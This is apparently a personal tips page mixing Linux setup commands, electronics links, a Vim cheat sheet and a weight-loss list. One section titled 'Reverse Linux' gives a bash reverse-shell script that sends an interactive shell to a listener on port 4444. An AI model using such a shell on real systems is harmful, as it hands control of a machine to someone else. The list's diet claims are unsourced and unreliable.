Projekat za godišnji odmor

 

Alternative=

http://vsc.wuaze.com

MacOS-Dark-Master XFCE Theme

TIPS OF THE DAY:

📌 Zameni postojeće DNS servere sledećim OpenDNS serverima:

• Primarni DNS: 208.67.222.222
• Sekundarni DNS: 208.67.220.220

🔎 Testiranje OpenDNS-a
Idi na https://welcome.opendns.com – ako je sve podešeno ispravno, videćeš poruku da koristiš OpenDNS.

Debian i3 instalacija

apt install xfont-terminus

dpkg-reconfigure -plow console-setup

UTF-8

Latin and Latin5

Terminus 

16x32

usermod -aG sudo ermanno

reboot

__________________________

settings after reboot

quiet video=1600x900

__________________________

apt install sudo

sudo apt update

exit

sudo apt update

sudo apt install i3 xorg lightdm slick-greeter lightdm-settings lxappearance nitrogen pcmanfm chromium pulseaudio alsa-utils pavucontrol terminator

sudo nano /etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULT="quiet video=1600x900"

GRUB_GFXMODE=1600x900

sudo update-grub

sudo systemctl enable lightdm

sudo reboot

sudo nano /etc/lightdm/lightdm.conf

display-setup-script=xrandr --output Virtual-1 --mode 1600x900

sudo reboot

free -h

*right click mouse on Terminator to get Terminator Preferences

cp /etc/i3status.conf .config/i3/

nano .config/i3/i3status.conf

nano .config/i3/config

bar {

status_command i3status -c /home/ermanno/.config/i3/i3status.conf

}

Crystal KDS 20.000 for 100MHz radio transmitter:

https://www.instructables.com/Mini-Audio-Transmitter/

Super alatka

 https://replit.com/

https://elevenlabs.io/

https://sourceforge.net/projects/remix-os/files/

https://sourceforge.net/projects/blissos-x86/

https://fydeos.io/

http://circuit-zone.com/?cat=fm_transmitters

https://www.worldofelectronicsstudy.com/cool-low-power-spy-mini-transmitter/

https://makingcircuits.com/blog/transmitter-circuit-etched-coil-pcb/

Kako da izgubite 14 kg tvrdokorne masnoće bez brojanja kalorija

Ako želite da smršate bez komplikovanog brojanja kalorija, ovo je sistem koji sam koristio:

1. Prestanite da jedete 3 sata pre spavanja

Gubitak masnoće nije samo u tome šta jedete – već i kada jedete.

Dajući telu vremena da se odmori umesto da vari hranu, možete:

✅ Poboljšati noćno sagorevanje masti

✅ Brže se oporaviti i buditi sa više energije

Preskočite doručak kako biste produžili period posta i ubrzali rezultate.

2. Zaboravite na grickanje između obroka

Znamo koliko je teško odoleti užini, ali stalno grickanje drži telo u režimu skladištenja masti.

Više vremena između obroka znači:

✅ Više sagorevanja masti za energiju

✅ Manje skokova šećera u krvi

✅ Stabilniji nivo energije tokom dana

Ali nije samo važno šta izbacite iz ishrane – već i šta unosite…

3. Svaki obrok započnite proteinima

Protein nije samo za izgradnju mišića – on pomaže i kod mršavljenja!

✅ Drži vas sitim duže vreme

✅ Troši više kalorija tokom varenja

✅ Prirodno smanjuje želju za nezdravom hranom

Jedna mala promena može napraviti ogromnu razliku!

4. U svaki obrok ubacite povrće

✅ Vlakna vas zasite bez prejedanja

✅ Podržavaju zdravlje creva i varenja

✅ Smanjuju upale i poboljšavaju opšte zdravlje

Šta ako vam je put do vitke linije zapravo u tome da jedete više, a ne manje?

5. Trenirajte s tegovima 3 puta nedeljno

Ne morate provoditi sate u teretani – samo 3 treninga nedeljno su dovoljna ako birate prave vežbe:

🏋️ Mrtvo dizanje i čučnjevi

🏋️ Vežbe potiska (bench, rameni potisak)

🏋️ Vežbe povlačenja (zgibovi, veslanje)

Dizanje tegova ne samo da jača telo, već i sagoreva masnoću.

6. Šetajte 10 minuta posle obroka

Jednostavna navika koja čini ogromnu razliku:

✅ Poboljšava varenje i sprečava nadutost

✅ Pomaže telu da sagoreva više kalorija

✅ Čini mršavljenje delom načina života, a ne kaznom

Šta ako gubitak masti nije u teretani, već u jednostavnoj šetnji?

7. Nemojte se oslanjati na kardio za mršavljenje

Ne možete “izgubiti” lošu ishranu preteranim trčanjem:

✅ Trening snage povećava metabolizam više nego kardio

✅ 8.000 do 10.000 koraka dnevno prirodno podržava gubitak masti

✅ Lakše je izbaciti lošu hranu nego sagoreti dodatne kalorije

Reverse Linux

 #!/bin/bash

SERVER_IP="192.168.1.234"

PORT="4444"

/bin/bash -i /dev/tcp/$SERVER_IP/$PORT 0>&1

#On Server try this =  nc -lvp 4444 

Alt + #

Problem with Firefox upload on Ubuntu Server solution = 

sudo apt install xdg-desktop-portal-gtk

https://www.ubuntumint.com/install-lamp-archlinux/

https://rumaisaniazi008.medium.com/how-to-install-lamp-on-arch-linux-3fb1607707d1

https://www.instructables.com/The-Ultimate-FM-Transmitter/

Nalazite se na najboljem sajtu za praktičare u elektronici i IT ikada!

Ono što možete naći ovde je veoma vremenski zahtevno ukoliko bi ga tražili samostalno na nekom drugom mestu na internetu.

Slike i kratke reči su dovoljne.

Sajt ne mora biti lep da bi bio koristan, neki od najružnijih sajtova su ujedno i najkorisniji!

https://voice.ai/

https://elevenlabs.io/

https://www.revocalize.ai/pricing

https://www.voicemod.net/en/ai-voice-technology/

Windows CMD goodies:

netsh wlan show wlanreport

ipconfig

GOLANG GOODIES

https://github.com/Bliss-Bass/Bass-OS-releases/releases/tag/Bass-Desktop-v15.9-x86_64-2024112611?termsAccepted=on

https://bliss-bass.blisscolabs.dev/index.html#downloads

Ko sam ja?

Telefon*☏📱✆📞☎

https://linktr.ee/programiram

GOLANG GOODIES=

For DEV (local) environment - use go run,
For PROD environment - use go install this one better than go build because it installs packages and dependencies and you'll have Go toolchain.

HARVARD GOODIES=

https://cs50.harvard.edu/python/2022/

https://cs50.harvard.edu/x/2025/

https://cs50.harvard.edu/ai/2024/

https://cs50.harvard.edu/business/2017/

https://cs50.harvard.edu/cybersecurity/2023/

https://cs50.harvard.edu/law/2019/

https://cs50.harvard.edu/python/2022/

https://cs50.harvard.edu/r/2024/

https://cs50.harvard.edu/scratch/2024/

https://cs50.harvard.edu/sql/2024/

https://cs50.harvard.edu/web/2020/

https://programming-25.mooc.fi/

Why Linux?

I like Linux because there is no adware, telemetry, such amount of viruses, malware and spyware.

Linux is open source, Windows is closed source.

Linux can be less hardware demanding than Windows, just using appropriate Window Manager or Desktop Environment.

Linux can work only in RAM memory without HDD.

Historical News:

https://x.com/elonmusk/status/1892578053135425969

VIM

 

Global

• :h[elp] keyword - open help for keyword
• :sav[eas] file - save file as
• :clo[se] - close current pane
• :ter[minal] - open a terminal window
• K - open man page for word under the cursor

Tip Run vimtutor in a terminal to learn the first Vim commands.

Cursor movement

• h - move cursor left
• j - move cursor down
• k - move cursor up
• l - move cursor right
• gj - move cursor down (multi-line text)
• gk - move cursor up (multi-line text)
• H - move to top of screen
• M - move to middle of screen
• L - move to bottom of screen
• w - jump forwards to the start of a word
• W - jump forwards to the start of a word (words can contain punctuation)
• e - jump forwards to the end of a word
• E - jump forwards to the end of a word (words can contain punctuation)
• b - jump backwards to the start of a word
• B - jump backwards to the start of a word (words can contain punctuation)
• ge - jump backwards to the end of a word
• gE - jump backwards to the end of a word (words can contain punctuation)
• % - move cursor to matching character (default supported pairs: '()', '{}', '[]' - use :h matchpairs in vim for more info)
• 0 - jump to the start of the line
• ^ - jump to the first non-blank character of the line
• $ - jump to the end of the line
• g_ - jump to the last non-blank character of the line
• gg - go to the first line of the document
• G - go to the last line of the document
• 5gg or 5G - go to line 5
• gd - move to local declaration
• gD - move to global declaration
• fx - jump to next occurrence of character x
• tx - jump to before next occurrence of character x
• Fx - jump to the previous occurrence of character x
• Tx - jump to after previous occurrence of character x
• ; - repeat previous f, t, F or T movement
• , - repeat previous f, t, F or T movement, backwards
• } - jump to next paragraph (or function/block, when editing code)
• { - jump to previous paragraph (or function/block, when editing code)
• zz - center cursor on screen
• zt - position cursor on top of the screen
• zb - position cursor on bottom of the screen
• Ctrl + e - move screen down one line (without moving cursor)
• Ctrl + y - move screen up one line (without moving cursor)
• Ctrl + b - move screen up one page (cursor to last line)
• Ctrl + f - move screen down one page (cursor to first line)
• Ctrl + d - move cursor and screen down 1/2 page
• Ctrl + u - move cursor and screen up 1/2 page

Tip Prefix a cursor movement command with a number to repeat it. For example, 4j moves down 4 lines.

Insert mode - inserting/appending text

• i - insert before the cursor
• I - insert at the beginning of the line
• a - insert (append) after the cursor
• A - insert (append) at the end of the line
• o - append (open) a new line below the current line
• O - append (open) a new line above the current line
• ea - insert (append) at the end of the word
• Ctrl + h - delete the character before the cursor during insert mode
• Ctrl + w - delete word before the cursor during insert mode
• Ctrl + j - add a line break at the cursor position during insert mode
• Ctrl + t - indent (move right) line one shiftwidth during insert mode
• Ctrl + d - de-indent (move left) line one shiftwidth during insert mode
• Ctrl + n - insert (auto-complete) next match before the cursor during insert mode
• Ctrl + p - insert (auto-complete) previous match before the cursor during insert mode
• Ctrl + rx - insert the contents of register x
• Ctrl + ox - Temporarily enter normal mode to issue one normal-mode command x.
• Esc or Ctrl + c - exit insert mode

Editing

• r - replace a single character.
• R - replace more than one character, until ESC is pressed.
• J - join line below to the current one with one space in between
• gJ - join line below to the current one without space in between
• gwip - reflow paragraph
• g~ - switch case up to motion
• gu - change to lowercase up to motion
• gU - change to uppercase up to motion
• cc - change (replace) entire line
• c$ or C - change (replace) to the end of the line
• ciw - change (replace) entire word
• cw or ce - change (replace) to the end of the word
• s - delete character and substitute text (same as cl)
• S - delete line and substitute text (same as cc)
• xp - transpose two letters (delete and paste)
• u - undo
• U - restore (undo) last changed line
• Ctrl + r - redo
• . - repeat last command

Marking text (visual mode)

• v - start visual mode, mark lines, then do a command (like y-yank)
• V - start linewise visual mode
• o - move to other end of marked area
• Ctrl + v - start visual block mode
• O - move to other corner of block
• aw - mark a word
• ab - a block with ()
• aB - a block with {}
• at - a block with <> tags
• ib - inner block with ()
• iB - inner block with {}
• it - inner block with <> tags
• Esc or Ctrl + c - exit visual mode

Tip Instead of b or B one can also use ( or { respectively.

Visual commands

• > - shift text right
• < - shift text left
• y - yank (copy) marked text
• d - delete marked text
• ~ - switch case
• u - change marked text to lowercase
• U - change marked text to uppercase

Registers

• :reg[isters] - show registers content
• "xy - yank into register x
• "xp - paste contents of register x
• "+y - yank into the system clipboard register
• "+p - paste from the system clipboard register

Tip Registers are being stored in ~/.viminfo, and will be loaded again on next restart of vim.

Tip Special registers:

 0 - last yank
 " - unnamed register, last delete or yank
 % - current file name
 # - alternate file name
 * - clipboard contents (X11 primary)
 + - clipboard contents (X11 clipboard)
 / - last search pattern
 : - last command-line
 . - last inserted text
 - - last small (less than a line) delete
 = - expression register
 _ - black hole register

Marks and positions

• :marks - list of marks
• ma - set current position for mark A
• `a - jump to position of mark A
• y`a - yank text to position of mark A
• `0 - go to the position where Vim was previously exited
• `" - go to the position when last editing this file
• `. - go to the position of the last change in this file
• `` - go to the position before the last jump
• :ju[mps] - list of jumps
• Ctrl + i - go to newer position in jump list
• Ctrl + o - go to older position in jump list
• :changes - list of changes
• g, - go to newer position in change list
• g; - go to older position in change list
• Ctrl + ] - jump to the tag under cursor

Tip To jump to a mark you can either use a backtick (`) or an apostrophe ('). Using an apostrophe jumps to the beginning (first non-blank) of the line holding the mark.

Macros

• qa - record macro a
• q - stop recording macro
• @a - run macro a
• @@ - rerun last run macro

Cut and paste

• yy - yank (copy) a line
• 2yy - yank (copy) 2 lines
• yw - yank (copy) the characters of the word from the cursor position to the start of the next word
• yiw - yank (copy) word under the cursor
• yaw - yank (copy) word under the cursor and the space after or before it
• y$ or Y - yank (copy) to end of line
• p - put (paste) the clipboard after cursor
• P - put (paste) before cursor
• gp - put (paste) the clipboard after cursor and leave cursor after the new text
• gP - put (paste) before cursor and leave cursor after the new text
• dd - delete (cut) a line
• 2dd - delete (cut) 2 lines
• dw - delete (cut) the characters of the word from the cursor position to the start of the next word
• diw - delete (cut) word under the cursor
• daw - delete (cut) word under the cursor and the space after or before it
• :3,5d - delete lines starting from 3 to 5

Tip You can also use the following characters to specify the range:
e.g.

:.,$d - From the current line to the end of the file
:.,1d - From the current line to the beginning of the file
:10,1d - From the 10th line to the beginning of the file

• :g/{pattern}/d - delete all lines containing pattern
• :g!/{pattern}/d - delete all lines not containing pattern
• d$ or D - delete (cut) to the end of the line
• x - delete (cut) character

Indent text

• >> - indent (move right) line one shiftwidth
• << - de-indent (move left) line one shiftwidth
• >% - indent a block with () or {} (cursor on brace)
• <% - de-indent a block with () or {} (cursor on brace)
• >ib - indent inner block with ()
• >at - indent a block with <> tags
• 3== - re-indent 3 lines
• =% - re-indent a block with () or {} (cursor on brace)
• =iB - re-indent inner block with {}
• gg=G - re-indent entire buffer
• ]p - paste and adjust indent to current line

Exiting

• :w - write (save) the file, but don't exit
• :w !sudo tee % - write out the current file using sudo
• :wq or :x or ZZ - write (save) and quit
• :q - quit (fails if there are unsaved changes)
• :q! or ZQ - quit and throw away unsaved changes
• :wqa - write (save) and quit on all tabs

Search and replace

• /pattern - search for pattern
• ?pattern - search backward for pattern
• \vpattern - 'very magic' pattern: non-alphanumeric characters are interpreted as special regex symbols (no escaping needed)
• n - repeat search in same direction
• N - repeat search in opposite direction
• :%s/old/new/g - replace all old with new throughout file
• :%s/old/new/gc - replace all old with new throughout file with confirmations
• :noh[lsearch] - remove highlighting of search matches

Search in multiple files

• :vim[grep] /pattern/ {`{file}`} - search for pattern in multiple files

e.g. :vim[grep] /foo/ **/*

• :cn[ext] - jump to the next match
• :cp[revious] - jump to the previous match
• :cope[n] - open a window containing the list of matches
• :ccl[ose] - close the quickfix window

Tabs

• :tabnew or :tabnew {page.words.file} - open a file in a new tab
• Ctrl + wT - move the current split window into its own tab
• gt or :tabn[ext] - move to the next tab
• gT or :tabp[revious] - move to the previous tab
• #gt - move to tab number #
• :tabm[ove] # - move current tab to the #th position (indexed from 0)
• :tabc[lose] - close the current tab and all its windows
• :tabo[nly] - close all tabs except for the current one
• :tabdo command - run the command on all tabs (e.g. :tabdo q - closes all opened tabs)

Working with multiple files

• :e[dit] file - edit a file in a new buffer
• :bn[ext] - go to the next buffer
• :bp[revious] - go to the previous buffer
• :bd[elete] - delete a buffer (close a file)
• :b[uffer]# - go to a buffer by index #
• :b[uffer] file - go to a buffer by file
• :ls or :buffers - list all open buffers
• :sp[lit] file - open a file in a new buffer and split window
• :vs[plit] file - open a file in a new buffer and vertically split window
• :vert[ical] ba[ll] - edit all buffers as vertical windows
• :tab ba[ll] - edit all buffers as tabs
• Ctrl + ws - split window
• Ctrl + wv - split window vertically
• Ctrl + ww - switch windows
• Ctrl + wq - quit a window
• Ctrl + wx - exchange current window with next one
• Ctrl + w= - make all windows equal height & width
• Ctrl + wh - move cursor to the left window (vertical split)
• Ctrl + wl - move cursor to the right window (vertical split)
• Ctrl + wj - move cursor to the window below (horizontal split)
• Ctrl + wk - move cursor to the window above (horizontal split)
• Ctrl + wH - make current window full height at far left (leftmost vertical window)
• Ctrl + wL - make current window full height at far right (rightmost vertical window)
• Ctrl + wJ - make current window full width at the very bottom (bottommost horizontal window)
• Ctrl + wK - make current window full width at the very top (topmost horizontal window)

http://electronics-diy.com/6w-fm-transmitter-88-108-mhz.php

Thank you for watching my website...

Diff

• zf - manually define a fold up to motion
• zd - delete fold under the cursor
• za - toggle fold under the cursor
• zo - open fold under the cursor
• zc - close fold under the cursor
• zr - reduce (open) all folds by one level
• zm - fold more (close) all folds by one level
• zi - toggle folding functionality
• ]c - jump to start of next change
• [c - jump to start of previous change
• do or :diffg[et] - obtain (get) difference (from other buffer)
• dp or :diffpu[t] - put difference (to other buffer)
• :diffthis - make current window part of diff
• :dif[fupdate] - update differences
• :diffo[ff] - switch off diff mode for current window

Tip The commands for folding (e.g. za) operate on one level. To operate on all levels, use uppercase letters (e.g. zA).

Tip To view the differences of files, one can directly start Vim in diff mode by running vimdiff in a terminal. One can even set this as git